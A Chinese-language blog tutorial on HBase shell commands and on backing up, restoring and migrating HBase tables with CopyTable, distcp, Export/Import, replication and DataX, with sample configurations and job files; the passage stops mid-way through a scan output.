上面的结果带来了下一个问题,是不是world把hello覆盖掉了,结果是没有覆盖,只是作为了不同的版本,而默认只显示最新的版本。Hbase中并没有版本的概念,所以时间戳就类似于版本。但是默认Hbase只保留一个版本,所以如果你不对列族做设置的话,还是只保留最新的一条数据。

修改列族属性,让其支持多版本,比如5个版本:

hbase:010:0> alter 'test',{NAME=>'cf',VERSIONS=>5}

然后再来插入,特别提示可以制定插入时间戳哈比如(1699356932000)单位是毫秒:

hbase:011:0> put 'test','row1','cf:name','hello'
hbase:012:0> put 'test','row1','cf:name','world'
hbase:013:0> put 'test','row1','cf:name','nihao',1699356932000

查看单个rowkey数据,默认显示最新的,在表的数据很大的时候,get查询的速度远远高于scan:

hbase:028:0> get 'test','row1',{COLUMN=>'cf:name'}

下面让我们来查看多版本

hbase:015:0> get 'test','row1',{COLUMN=>'cf:name',VERSIONS=>5}
COLUMN       CELL                                                                                                                                                                       
 cf:name     timestamp=2023-11-07T19:35:32, value=nihao                                                                                                                                 
 cf:name     timestamp=2022-11-07T19:35:06.920, value=world                                                                                                                             
 cf:name     timestamp=2022-11-07T19:35:04.290, value=hello                                                                                                                             
 cf:name     timestamp=2022-11-07T19:30:51.064, value=world

注意get或者scan的输出结果中,HBase总是把列族和列用“列族:列”的组合方式来一起显示,无论是put存储还是scan的查询使用的列定义,都是“列族:列”的格式。比如,cf:name表示列族为cf,列为name。

当然scan也可以查看多个版本的信息,如下面的命令:

hbase:033:0> scan 'test',{VERSIONS=>5}

用scan查看

实际环境下很少直接scan 表名称,因为表的数据太大了。如果你就这么输入的话,会从第一条数据开始把所有数据全部显示一遍,那么如何来显示数据的显示呢?下面就是类似于mysql的limit命令:

从row3到最后:

hbase:023:0> scan 'test',{STARTROW=>'row3'}

从row3到row4:

hbase:024:0> scan 'test',{STARTROW=>'row3',ENDROW=>'row4'}

从开始一直到row2:

hbase:025:0> scan 'test',{ENDROW=>'row2'}

结果就不截图了,直接说结论,首先记得起始行(STARTROW)和结束行(ENDROW),它这个是显示>=STARTROW并且<ENDROW中的数据。不写STARTROW就是从第一行开始,不写ENDROW就是从起始行一直查到最后。

博文来自:www.51niux.com

删除数据

先看看我们的数据:

hbase:021:0> scan 'test',{STARTROW=>'row5'}
ROW        COLUMN+CELL                                                                                                                                                                
 row5      column=cf:name, timestamp=2022-11-07T21:27:22.993, value=del1                                                                                                              
 row5      column=cf1:name, timestamp=2022-11-07T21:27:29.104, value=del2                                                                                                             
 row5      column=cf3:name, timestamp=2022-11-07T21:30:39.638, value=del3

用delete命令删除表中的数据,注意这条命令只是删除了row5行上面的'cf:name',row5行上面其他的数据还在:

hbase:001:0> delete 'test','row5','cf:name'

如果想要删除整行数据请执行下面的命令:

hbase:025:0> deleteall 'test','row5'

如果我们要删除指定版本的数据:

hbase:048:0> get 'test','row5',{COLUMN=>'cf:name',VERSIONS=>5}

image.png

hbase:049:0> delete 'test','row5','cf:name',3

image.png

#从上图的时间戳看来时间戳版本为3和以前的数据已经消失掉了。

下面让我们重新put一个时间戳是3的数据:

hbase:053:0> put 'test','row5','cf:name','hello3',3

image.png

#但是查询结果会发现我们put的数据并没有出现。为什么会这样呢?我们再用下面一个命令:

hbase:058:0> scan 'test',{RAW=>true,VERSIONS=>5,STARTROW=>'row5',ENDROW=>'row6'}

image.png

删除的数据都被打上了标签,type=Delete 和type=DeleteFamily类型的记录,在某个时间点,由数据库统一删除处理。

删除表操作

在删除表之前先要停用表(没人使用此表会很快,但是线上环境会很慢,disable要通知所有的RegionServer来下线这个表,并且有很多涉及该表的操作需要被停用掉):

hbase:059:0> disable 'test'

再次查看停用表(会有报错提示):

hbase:061:0> scan 'test'
org.apache.hadoop.hbase.TableNotEnabledException: test is disabled

在表停用之后就可以删除表了:

hbase:062:0> drop 'test'

查看帮助

如果想要自助的学习有哪些命令操作,如何学习?先来一个全部的命令输出

hbase:065:0> help

再来一个指定的命令帮助:

hbase:066:0> help 'put'

常用命令介绍

通用:

status:查看集群状态

version:当前hbase版本

whoami:查看当前用户

table_help:表操作的帮助说明

表操作:

list:  支持查看通配符,比如list 'test.*'

alter:更改表或者列族定义。如果你传入一个新的列族名,则意味着创建一个新的列族。比如 alter 'test', {NAME=>'cf1',VERSIONS=>4},{NAME=>'cf2',VERSIONS=>5}命令创建多个列族和设置不同的属性。删除列族:alter 'test','delete'=>'cf2'。

alter_status 'test':查看表的各个Region的更新状况,这条命令在异步更新表的时候,用来查看更改命令执行的情况,判断该命令是否执行完毕。

alter_async:异步更新表。使用这个命令你不需要等待表的全部Region更新完后才返回。记得配合alter_status来检查异步表更改命令的执行进度。

disable_all:通过正则表达式来停用多个表。

is_disabled:检测指定表是否被停用了。

drop_all:通过正则表达式来删除多个表。

enable:启动指定表。

enable_all:通过正则表达式来启动指定表。

is_enabled:判断指定表是否启用。

exists:判断指定表是否存在。

show_filters:列出所有过滤器。

get_table:使用这条命令,你可以把表名转化成一个对象,在下面的脚本中使用这个对象来操作表,达到面向对象的语法风格。格式:变量 = get_table '表名'

locate_region:通过这条命令可以知道你所传入的行键(rowkey)对应的行(row)在哪个Region里面。格式:locate_region '表名', '行键'

数据操作:

scan:按照行键的字典排序来遍历指定表的数据。遍历所有数据所有列族。格式:scan '表名', { COLUMNS => ['列1', '列2', …] },指定行数:格式:scan '表名', { LIMIT => 行数量},指定时间戳:scan '表名', { TIMERANGE => [最小时间戳, 最大时间戳]}

count: 计算表的行数。简单计算。格式:count '表名'

append: 给某个单元格的值拼接上新的值。

truncate: 这个命令跟关系型数据库中同名的命令做的事情是一样的:清空表内数据,但是保留表的属性。不过HBase truncate表的方式其实就是先帮你删掉表,然后帮你重建表。

truncate_preserve:这个命令也是清空表内数据,但是它会保留表所对应的Region。当你希望保留Region的拆分规则时,可以使用它,避免重新定制Region拆分规则。

get_splits:获取表所对应的Region个数。因为一开始只有一个Region,由于Region的逐渐变大,Region被拆分(split)为多个,所以这个命令叫get_splits。

工具方法:

close_region:下线指定的Region。下线Region可以通过指定Region名,也可以指定Region名的hash值。

unassign:下线指定的Region后马上随机找一台服务器上线该Region。

assign:上线指定的Region

move:移动一个Region。你可以传入目标服务器的服务器标识码来将Region移动到目标服务器上。如果你不传入目标服务器的服务器标识码,那么就会将Region随机移动到某一个服务器上,就跟unassign操作的效果一样。

split:拆分(split)指定的Region。除了可以等到Region大小达到阈值后触发自动拆分机制来拆分Region,我们还可以手动拆分指定的Region。

merge_region:合并(merge)两个Region为一个Region。如果传入第二个参数'true',则会触发一次强制合并(merge)。

compact:调用指定表的所有Region或者指定列族的所有Region的合并(compact)机制。通过compact机制可以合并该Region或者该Region的列族下的所有HFile(StoreFile),以此来提高读取性能。compact跟合并(merge)并不一样。merge操作是合并2个Region为1个Region,而compact操作着眼点在更小的单元:StoreFile,一个Region可以含有一个或者多个StoreFile,compact操作的目的在于减少StoreFile的数量以增加读取性能。

compact_rs:调用指定RegionServer上的所有Region的合并机制,加上第二个参数true,意味着执行major compaction。

balancer:手动触发平衡器(balancer)。平衡器会调整Region所属的服务器,让所有服务器尽量负载均衡。如果返回值为true,说明当前集群的状况允许运行平衡器;如果返回false,意味着有些Region还在执行着某些操作,平衡器还不能开始运行。

balance_switch:打开或者关闭平衡器。传入true即为打开,传入false即为关闭。

balancer_enabled:检测当前平衡器是否开启。

catalogjanitor_run:开始运行目录管理器(catalog janitor)。所谓的目录指的就是hbase:meta表中存储的Region信息。当HBase在拆分或者合并的时候,为了确保数据不丢失,都会保留原来的Region,当拆分或者合并过程结束后再等待目录管理器来清理这些旧的Region信息。

catalogjanitor_enabled:查看当前目录管理器的开启状态。

catalogjanitor_switch:启用/停用目录管理器。该命令会返回命令执行后状态的前一个状态。

normalize:规整器用于规整Region的尺寸,通过该命令可以手动启动规整器。

normalizer_enabled:查看规整器的启用/停用状态。

normalizer_switch:启用/停用规整器。该命令会返回规整器的前一个状态。

flush:手动触发指定表/Region的刷写。所谓的刷写就是将memstore内的数据持久化到磁盘上, 称为HFile文件。

trace:启用/关闭trace功能。不带任何参数地执行该命令会返回trace功能的开启/关闭状态。

wal_roll:手动触发WAL的滚动。

zk_dump:打印出ZooKeeper集群中存储的HBase集群信息。

快照:

snapshot:快照(snapshot)就是表在某个时刻的结构和数据。可以使用快照来将某个表恢复到某个时刻的结构和数据。

list_snapshots:列出所有快照。可以传入正则表达式来查询快照列表。

restore_snapshot:使用快照恢复表。由于表的数据会被全部重置,所以在根据快照恢复表之前,必须要先停用该表。

clone_snapshot:使用快照的数据创建出一张新表。创建的过程很快,因为使用的方式不是复制数据,并且修改新表的数据也不会影响旧表的数据。

delete_snapshot:删除快照。

delete_all_snapshot:同时删除多个跟正则表达式匹配的快照。

命名空间:

list_namespace:列出所有命名空间。你还可以通过传入正则表达式来过滤结果。

list_namespace_tables:列出该命名空间下的表。

create_namespace:创建命名空间。你还可以在创建命名空间的同时指定属性。

describe_namespace:显示命名空间定义。

alter_namespace:更改命名空间的属性或者删除该属性。如果METHOD使用set表示设定属性,使用unset表示删除属性。

drop_namespace:删除命名空间。不过在删除之前,请先确保命名空间内没有表,不然会有报错

配置:

update_config:要求指定服务器重新加载配置文件。参数为服务器标识码。

update_all_config:要求所有服务器重新加载配置文件。

标签:

list_labels:列出所有系统标签。

add_labels:添加系统标签。

set_auths:为用户或者组设置标签。

get_auths:获取用户或者组的标签。

clear_auths:删除用户或者组绑定的标签。

set_visibility:批量设置单元格的标签。

集群备份:

add_peer一个备份节点(peer节点)可以是一个HBase集群,也可以是自定义的备份存储。

remove_peer_tableCFs:从指定备份节点的配置中删除指定表或者列族信息,这样该表或者列族将不再参与备份操作。

set_peer_tableCFs:设定指定备份节点的备份表或者列族信息。

show_peer_tableCFs:列出指定备份节点的备份表或者列族信息。

append_peer_tableCFs:为现有的备份节点(peer节点)配置增加新的列族。

disable_peer:终止向指定集群发送备份数据。

disable_table_replication:取消指定表的备份操作。

enable_table_replicationdiable_table_replication:操作之后,重新启用指定表的备份操作。

list_peers:列出所有备份节点。

list_replicated_tables:列出所有参加备份操作的表或者列族。

remove_peer:停止指定备份节点,并删除所有该节点关联的备份元数据。

安全:

list_security_capabilities:列出所有支持的安全特性。

user_permission:列出指定用户的权限,或者指定用户针对指定表的权限。如果要表示整个命名空间,而不特指某张表,请用@命名空间名。

grant:赋予用户权限。

revoke:取消用户的权限。如果要表示整个命名空间,而不特指某张表,请用@命名空间名。

博文来自:www.51niux.com

二、hbase备份恢复表

2.1 CopyTable

先来段官网翻译:

CopyTable是一个实用程序,可以将表的部分或全部复制到同一个集群或另一个集群。目标表必须首先存在。用法如下:

$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --help

Usage: CopyTable [general options] [--starttime=X] [--endtime=Y] [--new.name=NEW] [--peer.adr=ADR] <tablename | snapshotName>
Options:
  rs.class: hbase.regionserver.class对等群集的类指定是否与当前群集不同 
  rs.impl: hbase.regionserver.impl of the peer cluster
  startrow: 起始行
  stoprow:结束行
  starttime:时间范围的开始时间(单位:毫秒),没有endtime意味着从开始到最后
  endtime:时间范围的结束时间结束。如果未指定开始时间,则忽略。
  versions:要复制的单元版本数
  new.name:新表的名称
  peer.adr:对等集群的地址,格式为hbase.zookeeper.quorum:hbase.zookeeper.client.port:zookeeper.znode.parent
  families:要复制的列族用逗号隔开,要从cf1复制到cf2,请提供sourceCfName:destCfName。要保持相同的名称,只需输入“cfName”
  all.cells:全部的单元格还复制删除标记和删除的单元格
  bulkload: 将输入写入HFiles并批量加载到目标表
  snapshot:将数据从快照复制到目标表。
Examples:
要将“TestTable”复制到使用复制1小时窗口的群集,请执行以下操作:  
$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --starttime=1265875194289 --endtime=1265878794289 --peer.adr=server1,server2,server3:2181:/hbase --families=myOldCf:myNewCf,cf2,cf3 TestTable
要将数据从“sourceTableSnapshot”复制到“destTable”:
$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --snapshot --new.name=destTable sourceTableSnapshot
要将数据从“sourceTableSnapshot”复制并批量加载到“destTable”,请执行以下操作:
$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --new.name=destTable --snapshot --bulkload sourceTableSnapshot
对于性能,考虑以下一般选项:
建议将以下值设置为>=100。较高的值会占用更多内存,减少到服务器的往返时间,并且可以提高性能:-Dhbase.client.scanner.caching=100
以下内容应始终设置为false,以防止两次写入数据结果不准确:-Dmapreduce.map.speculative=false

下面让我们实操一下:

$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --new.name=test02  test  #下面报错了,提醒很明显就是不存在test02这个表,那就是要提前创建一下,注意不加--peer.adr=ZK地址:2181:/hbase就是本机向本机复制,加上了就是向远端复制

Exception in thread "main" org.apache.hadoop.hbase.TableNotFoundException: Can't write, table does not exist:test02
	at org.apache.hadoop.hbase.mapreduce.TableOutputFormat.checkOutputSpecs(TableOutputFormat.java:172)
	at org.apache.hadoop.mapreduce.JobSubmitter.checkSpecs(JobSubmitter.java:279)

下面我们创建下表再执行一下:

hbase:003:0> create 'test02','cf'

$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --new.name=test02  test  #然后再次报错,这个错误就很恶心了,尝试解决了很久没有解决,看是hbase2.5增加的新特性基于OpenTelemetry的跟踪检修,怀疑跟版本不兼容有关系,所以把hbase回退到2.4问题解决,下面是报错信息:

Error: java.lang.NoClassDefFoundError: io/opentelemetry/context/ImplicitContextKeyed
	at java.lang.ClassLoader.defineClass1(Native Method)
	......
Caused by: java.lang.ClassNotFoundException: io.opentelemetry.context.ImplicitContextKeyed	

好了,我们把hbase版本回退到2.4.14再来执行,总算好了:

image.png

#hbase表的test02已经有test表完整的数据了,这里就不结果展示了。

CopyTable就是以表级别进行迁移,其本质也是使用MapReduce的方式进行数据的同步,它是利用MapReduce去scan源表数据,然后把scan出来的数据写到目标集群,从而实现数据的迁移和备份。这种方式需要通过scan数据,对于很大的表,如果这个表本身又读写比较频繁的情况下,会对性能造成比较大的影响,并且效率比较低。

那么我们来判断一下这个复制是完全复制还是增量复制:

image.png

image.png

#上面两个命令我们基本已经可以断定,就是如果同一个row会覆盖,目标表没有row就是增量,所以如果要想一模一样,目标表要是一个空表

如果列族不一致呢?

hbase:054:0> create 'test04','cf-d'

$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --new.name=test04  test  #得又报错了

Error: org.apache.hadoop.hbase.client.RetriesExhaustedWithDetailsException: Failed 3 actions: 
org.apache.hadoop.hbase.regionserver.NoSuchColumnFamilyException: Column family cf does not exist in region test04

$ hbase org.apache.hadoop.hbase.mapreduce.CopyTable --new.name=test04 --families=cf:cf-d  test   #就要加families参数

2.2 HDFS拷贝的方式

首先了解下hbase在hdfs上面的目录结构:

image.png

.hbck  #当遇到元数据不一致时,使用hbck工具修复,修复过程中会使用该目录作为临时目录。
.tmp  #当创建或删除表时,会将表移动到该此目录下,然后再处理。
MasterData  #master节点的记录的数据信息
WALs  #存储集群中所有RegionServer的HLog日志文件
archive  #存储表的归档和快照,HBase在做Split或者compact操作完成之后,会将之前的HFile移到archive目录中,该目录由HMaster上的一个定时任务定期去清理。
corrupt  #存储损坏的HLog文件或者HFile文件
data  #最重要的目录,存储hbase数据,下面含有两个命名空间default和hbase,其中default是默认命名空间,如果创建的表未指定命名空间,将存放在该命名空间下,hbase是系统命名空间。
hbase.id  #它是一个文件,存储集群唯一的cluster id号,是一个uuid。
hbase.version  #一个文件,存储集群的版本号
mobdir  #MOB文件目录
oldWALs #与hbase操作相关的旧日志存放目录.当/hbase/WALs中的HLog文件被持久化到存储文件中,不再需要日志文件时,它们会被移动到/hbase/oldWALs目录。  
staging  #在bulkload时会创建并使用这个文件夹

#有上面的目录介绍我们知道了我们的表都在/hbase/data/default下面

distcp方法

distcp(分布式拷贝)是用于大规模集群内部和集群之间拷贝的工具。 它使用Map/Reduce实现文件分发,错误处理和恢复,以及报告生。注意distcp使用绝对路径进行操作并且都是本段的active master到对端的active master节点。这种方式的缺点就是源Hbase的表需要停写,不然会导致数据不一致,比较适合迁移历史表(数据不会被修改的情况).

下面是最简单的命令,拷贝源端的hdfs目录到目标集群的hdfs目录:

$ /opt/soft/hadoop/bin/hadoop distcp -overwrite  hdfs://hadoop-master02:8020/hbase/data/default/test/ hdfs://smaster-hadoop01:8020/hbase/data/default/test/

在对端看一下,可以看到目录已经拷贝过来了:

# /opt/soft/hadoop/bin/hdfs dfs  -ls  /hbase/data/default/|grep  "/test"
drwxr-xr-x   - hadoop supergroup          0 2022-11-09 01:06 /hbase/data/default/test

但是执行hbase查看缺空空如也:

hbase(main):001:0> list 'test.*'
=> []

之所以这样是因为还缺少元数据,在目标master节点执行下面的命令,修复HBase表元数据($ hbase hbck -repair  表名称):

$ hbase hbck -repair  test

image.png

下面再次查看hbase,会发现数据有了:

image.png

distcp的详细用法请看命令帮助:$ /opt/soft/hadoop/bin/hadoop distcp --help或者参照网上其他的文章。

博文来自:www.51niux.com

fs get/put的方法

同理,我们是否可以直接使用hdfs的方式把表数据目录拷贝到本地进行全备呢?

$ /opt/soft/hadoop/bin/hadoop fs -get /hbase/data/default/test /tmp/

$ ls -l /tmp/test/

drwxr-xr-x 5 hadoop hadoop 4096 11月  9 15:20 53675bf8818997468f6a245929e57f8c

#先把我们把目录同步到另一个hbase集群然后重新提交上去试一试意这个表明要跟拷贝过来的表名一致哦

$ hadoop fs -put /tmp/test/ hdfs://mycluster:8020/hbase/data/default/test

$ hbase hbck  -fixMeta  #修复.META.表

$ hbase hbck -fixAssignments   #重新分配数据到各RegionServer

2.3 Export/Import

官网文档:https://hbase.apache.org/book.html#export

 通过Export导出数据到目标集群的hdfs,再在目标集群执行import导入数据,Export支持指定开始时间和结束时间,因此可以做增量备份。Export导出工具与CopyTable一样是依赖hbase的scan读取数据,并且采用的InportFormat与CopyTable一样是TableInputFormat类,从该类的getSplits()方法可以看出MR的map数与hbase表的region数相同。

格式是:

$ hbase org.apache.hadoop.hbase.coprocessor.Export <tablename> <outputdir> [<versions> [<starttime> [<endtime>]]]

$ /opt/soft/hbase/bin/hbase org.apache.hadoop.hbase.mapreduce.Export test01 /tmp/test01  #我们先把test01表拷贝到hdfs的一个目录中,前提是这个目录不能存在哦

$ /opt/soft/hadoop/bin/hadoop dfs -get  /tmp/test01 /tmp/   #把目录下载到本地

$ /opt/soft/hadoop/bin/hadoop dfs -rmr  /tmp/test01  #现在可以把hdfs上面的临时test01的目录删除掉了

$ ls -l /tmp/test01/

总用量 4
-rw-r--r-- 1 hadoop hadoop 324 11月  9 23:55 part-m-00000
-rw-r--r-- 1 hadoop hadoop   0 11月  9 23:55 _SUCCESS

现在我们把这个test01拷贝到另一个hbase集群然后上传上去看看什么效果,格式是:

hbase org.apache.hadoop.hbase.mapreduce.Import <tablename> <inputdir>

$ hbase org.apache.hadoop.hbase.mapreduce.Import test01 /tmp/test01  #如下面直接报错,因为这种方式要提前把表创建好,需要scan数据,会对HBase造成负载的影响,效率不高。

Exception in thread "main" org.apache.hadoop.hbase.TableNotFoundException: Can't write, table does not exist:test01

#把表创建好再执行import就OK了,就不截图了。

2.4 replication方式

官网介绍:https://hbase.apache.org/book.html#_cluster_replication

如何像mysql一样实现读写分离呢?让实时查询的查询主Hbase,让那种大表扫描各种全变scan的操作去从库查询呢,上面我们备份的方式都偏离线了,如何像mysql一样主从复制呢?就用到了现在的replication的方式。HBase目前共支持3种Replication,分别是异步Replication、串行Replication和同步Replication。其中串行Replication是2.1以后引入的,我们这里就用这种方式。

串行Replication指的是:对于某个Region来说,严格按照主集群的写入顺序复制到备集群,其是一种特殊的Replication。同时默认的异步Replication不是串行的。

首先配置主从hbase

配置主hbase然后同步配置文件重启hbase服务

$ vim /opt/soft/hbase/conf/hbase-site.xml

   <property>
     <name>hbase.replication</name>
     <value>true</value>
   </property>
   <property>
     <name>replication.source.nb.capacity</name>
     <value>25000</value>
     <description>主集群每次向从集群发送的entry最大的个数,默认值25000,可根据集群规模做出适当调整</description>
   </property>
   <property>
     <name>replication.source.size.capacity</name>
     <value>67108864</value>
     <description>主集群每次向从集群发送的entry的包的最大值大小,默认为64M</description>
   </property>
   <property>
     <name>replication.source.ratio</name>
     <value>1</value>
     <description>主集群使用的从集群的RS的数据百分比,默认为0.1,需调整为1,充分利用从集群的RS</description>
   </property>
   <property>
     <name>replication.sleep.before.failover</name>
     <value>2000</value>
     <description>主集群在RS宕机多长时间后进行failover,默认为2秒,具体的sleep时间是: sleepBeforeFailover + (long) (new Random().nextFloat() * sleepBeforeFailover) </description>
   </property>
   <property>
     <name>replication.executor.workers</name>
     <value>1</value>
     <description>从事replication的线程数,默认为1,如果写入量大,可以适当调大</description>
   </property>

配置从hbase然后同步配置文件重启hbase服务

$ vim /opt/soft/hbase/conf/hbase-site.xml

  <property>
    <name>hbase.replication</name>
    <value>true</value>
  </property>

其次主Hbase针对表进行设置

先创建一个串行的复制链路:

格式如下:add_peer ‘ID’ ‘CLUSTER_KEY’,这个ID可以是任意数字,CLUSTER_KEY为从集群的zookeeper下的一个Znode

hbase:002:0> add_peer '1', CLUSTER_KEY => "master-hadoop:2181:/hbase", SERIAL => true

然后进行指定表同步操作:

#在从集群中创建一个与master集群相同的表

表开启同步(默认是关闭的):

hbase:014:0> alter 'test01',{NAME =>'cf', REPLICATION_SCOPE=>'1'}

博文来自:www.51niux.com

2.5 借助shell命令导出数据

#比如我想常态记录下我当前Hbase里面的一些表信息:

记录表列表:

$ echo "list"|hbase shell>/tmp/table_list

记录表结构信息:

$ for num in `cat /tmp/table_list |grep "\["|grep -o "\[.*\]"`;do table_name=`echo $num|grep -o "[a-z].*[a-z0-9]"`&& echo "describe '${table_name}'"|hbase shell;done>/tmp/table_info

那记录每个表的信息就是(每个表肯定是一个文件的形式):

$ for num in `cat /tmp/table_list |grep "\["|grep -o "\[.*\]"`;do table_name=`echo $num|grep -o "[a-z].*[a-z0-9]"`&& echo "scan '${table_name}'"|hbase shell>/tmp/hbase_data/$table_name;done

2.6 DATAX

我们很多使用迁移Hbase的时候就是使用datax的方式,当然datax的功能更加强大,DataX是阿里云DataWorks数据集成的开源版本。

github地址:https://github.com/alibaba/DataX

安装datax:

$ wget https://datax-opensource.oss-cn-hangzhou.aliyuncs.com/202210/datax.tar.gz

$ tar xf datax.tar.gz

$ cd datax/

使用datax:

你首先要支持datax现在支持哪个软件版本,并且如何编写读写的语句:

image.png

#如上图点开之后就能看到使用说明信息了

image.png

#我们以test04这个表为例:读取后数据(4列)| rowKey  | column:qualifier| timestamp | value |

说明中有个限制:目前不支持动态列的读取。考虑网络传输流量(支持动态列,需要先将hbase所有列的数据读取出来,再按规则进行过滤),现支持的两种读取模式中需要用户明确指定要读取的列。--这句话也就是说列是写死的,有多个列我们就要写多个。

有两种模式:

       normal 模式:把HBase中的表,当成普通二维表(横表)进行读取,读取最新版本数据。

       multiVersionFixedColumn模式:把HBase中的表,当成竖表进行读取。读出的每条记录一定是四列形式,依次为:rowKey,family:qualifier,timestamp,value。读取时需要明确指定要读取的列,把每一个 cell 中的值,作为一条记录(record),若有多个版本就有多条记录(record)。

我们直接用multiVersionFixedColumn模式试一下:

读取hbase到本地文件:

$ vim job/test1.json

{
  "job": {
    "setting": {
      "speed": {
        //指定用几个子线程去跑这个任务,线程越多,速度越快 
        "channel": 1
      }
    },
    //内容
    "content": [
      {
        //读数据部分
        "reader": {
           //指明什么类型的reader
          "name": "hbase11xreader",
          //参数
          "parameter": {
            //连接HBase集群需要的配置信息,JSON格式
            "hbaseConfig": {
              "hbase.zookeeper.quorum": "hadoop-master01:2181"
            },
            //要读取的 hbase 表名(大小写敏感) 
            "table": "test04",
            //编码方式,UTF-8 或是 GBK,用于对二进制存储的 HBase byte[] 转为 String 时的编码 
            "encoding": "utf-8",
            //读取hbase的模式,支持normal 模式、multiVersionFixedColumn模式,即:normal/multiVersionFixedColumn 
            "mode": "multiVersionFixedColumn",
            //指定在多版本模式下的hbasereader读取的版本数,取值只能为-1或者大于1的数字,-1表示读取所有版本 
            "maxVersion": "-1",
            //描述:要读取的hbase字段,normal 模式与multiVersionFixedColumn 模式下必填项。
            "column": [
                {
                    "name": "rowkey",
                    "type": "string"
                },
                {
                    "name": "cf-d: name",
                    "type": "string"
                },
                {
                    "name": "cf: name",
                    "type": "string",
                }
            ],
            //指定hbasereader读取的rowkey范围,startRowkey:指定开始rowkey;endRowkey指定结束rowkey;
            "range": {
              "startRowkey": "",
              "endRowkey": ""
            }
          }
        },
        "writer": {
          "name": "txtfilewriter",
          "parameter": {
            "path": "/tmp/datax_test/",
            "fileName": "test04",
            "writeMode": "truncate"
          }
        }
      }
    ]
  }
}

 $python bin/datax.py  job/test1.json

image.png

$ cat /tmp/datax_test/test04__db5f2508_dcb3_491a_b056_1ec167c24e69  #我们看看生成的文件,注意每次执行都会清空目标目录

row1,cf-d:name,1699356932000,nihao
row2,cf-d:name,1667901516644,world
row4,cf:name,3,hello3
row4,cf-d:name,1667901603527,buhao
row4,cf-d:name,3,datax3
row4,cf-d:name,2,datax2
row4,cf-d:name,1,datax1

再来个读取本地文件到远端Hbase的例子:

$ cat /tmp/datax_test/test04.txt   #这是测试样例文本,注意啊 只有一种列族,多了的话会出现多个列族用同一个值的情况

row1,cf-d:name,1699356932000,nihao
row2,cf-d:name,1667901516644,world
row4,cf-d:name,1667901603527,buhao
row4,cf-d:name,3,datax3
row4,cf-d:name,2,datax2
row4,cf-d:name,1,datax1

$ vim job/test2.json

{
    "setting": {},
    "job": {
        "setting": {
            "speed": {
                "channel": 2
            }
        },
        "content": [
            {
                "reader": {
                    "name": "txtfilereader",
                    "parameter": {
                        //本地文件系统的路径信息,注意这里可以支持填写多个路径。TxtFileReader目前只支持*作为文件通配符
                        "path": ["/tmp/datax_test/test04.txt"],
                        //读取文件的编码配置。默认值:utf-8 
                        "encoding": "UTF-8",
                        //读取字段列表,type指定源数据的类型,index指定当前列来自于文本第几列(以0开始),value指定当前类型为常量,不从源头文件读取数据,而是根据value值自动生成对应的列。 
                        "column": [
                            {
                                "index": 0,
                                "type": "string"
                            },
                            {
                                "index": 1,
                                "type": "string"
                            },
                            {
                                "index": 2,
                                //Long是指本地文件文本中使用整形的字符串表示形式,例如"19901219"。
                                //Double是指本地文件文本中使用Double的字符串表示形式,例如"3.1415"。
                                //Boolean是指本地文件文本中使用Boolean的字符串表示形式,例如"true"、"false"。不区分大小写。
                                //Date是指本地文件文本中使用Date的字符串表示形式,例如"2014-12-31",Date可以指定format格式。
                                "type": "long"
                            },
                            {
                                "index": 3,
                                "type": "string"
                            }
                        ],
                        //读取的字段分隔符 
                        "fieldDelimiter": ","
                    }
                },
          "writer": {
            "name": "hbase11xwriter",
            "parameter": {
              //连接HBase集群需要的配置信息,JSON格式
              "hbaseConfig": {
                "hbase.zookeeper.quorum": "master-hadoop:2181,smaster-hadoop:2181,slave01-hadoop:2181"
              },
              //要写的 hbase 表名(大小写敏感) 
              "table": "test04",
              //写hbase的模式,目前只支持normal 模式
              "mode": "normal",
              //要写入的hbase的rowkey列。index:指定该列对应reader端column的索引,从0开始,若为常量index为-1;
              //type:指定写入数据类型,用于转换HBase byte[];value:配置常量,常作为多个字段的拼接符。
              "rowkeyColumn": [
                  {
                    "index":0,
                    "type":"string"
                  }
              ],
              //要写入的hbase字段。index:指定该列对应reader端column的索引,从0开始;
              //name:指定hbase表中的列,必须为列族:列名 的格式;type:指定写入数据类型,用于转换HBase byte[]。
              "column": [
                {
                  "index":3,
                  "name": "cf-d:name",
                  "type": "string"
                }
              ],
              //指定写入hbase的时间戳。支持:当前时间、指定时间列,指定时间,三者选一。若不配置表示用当前时间。
              //index:指定对应reader端column的索引,从0开始,需保证能转换为long,若是Date类型,会尝试用yyyy-MM-dd HH:mm:ss
              //和yyyy-MM-dd HH:mm:ss SSS去解析;若为指定时间index为-1;value:指定时间的值,long值。
              "versionColumn":{
                "index": -1,
                "value":"123456789"
              },
              //编码方式,UTF-8 或是 GBK,用于 String 转 HBase byte[]时的编码 
              "encoding": "utf-8"
            }
          }

            }
        ]
    }
}

#注意目标端要先创建好表哦,不然写入失败,并且写入的列族也要存在哦

$ python bin/datax.py  job/test2.json   #结果就不截图了,跟上面执行成功的图形一致。

#我们在目标端看下同步的结果:

image.png

#从上图可以看到虽然我们row4有多个版本,因为写入的时候只支持normal模式,所以写入的也是就一条最新的版本的值。

Hbase同步到Hbase

#上面了解了datax的大致用法,我们直接来个hbase直接拷贝数据至另一个Hbase集群

先看下目标端的情况:

image.png

再看下源端的情况:

image.png

在源端执行job:

$ vim  job/test_hbase.json

{
    "job": {
      "setting": {
        "speed": {
          "channel": 5
        }
      },
      "content": [
        {
          "reader": {
            "name": "hbase11xreader",
            "parameter": {
              "hbaseConfig": {
                "hbase.zookeeper.quorum": "hadoop-master01:2181"
              },
              "table": "test04",
              "encoding": "utf-8",
              "mode": "normal",
              "column": [
                  {
                      "name": "rowkey",
                      "type": "string"
                  },
                  {   
                      "name": "cf-d:name",
                      "type": "string"
                  }   
              ],
              "range": {
                "startRowkey": "",
                "endRowkey": ""
              }
            }
          },
          "writer": {
            "name": "hbase11xwriter",
            "parameter": {
              "hbaseConfig": {
                "hbase.zookeeper.quorum": "master-hadoop:2181"
              },
              "table": "test04",
              "mode": "normal",
              "rowkeyColumn": [
                  {
                    "index":0,
                    "type":"string"
                  }
              ],
              "column": [
                {
                  "index":1,
                  "name": "cf-d:name",
                  "type": "string"
                }
              ],
              "encoding": "utf-8"
            }
          }
        }
      ]
    }
  }

$ python bin/datax.py  job/test_hbase.json  #执行下任务

然后再看看目标端(可以拿到并非全量覆盖,只会同步cf-d:name):

hbase(main):024:0> scan 'test04'
ROW           COLUMN+CELL                                                                                                
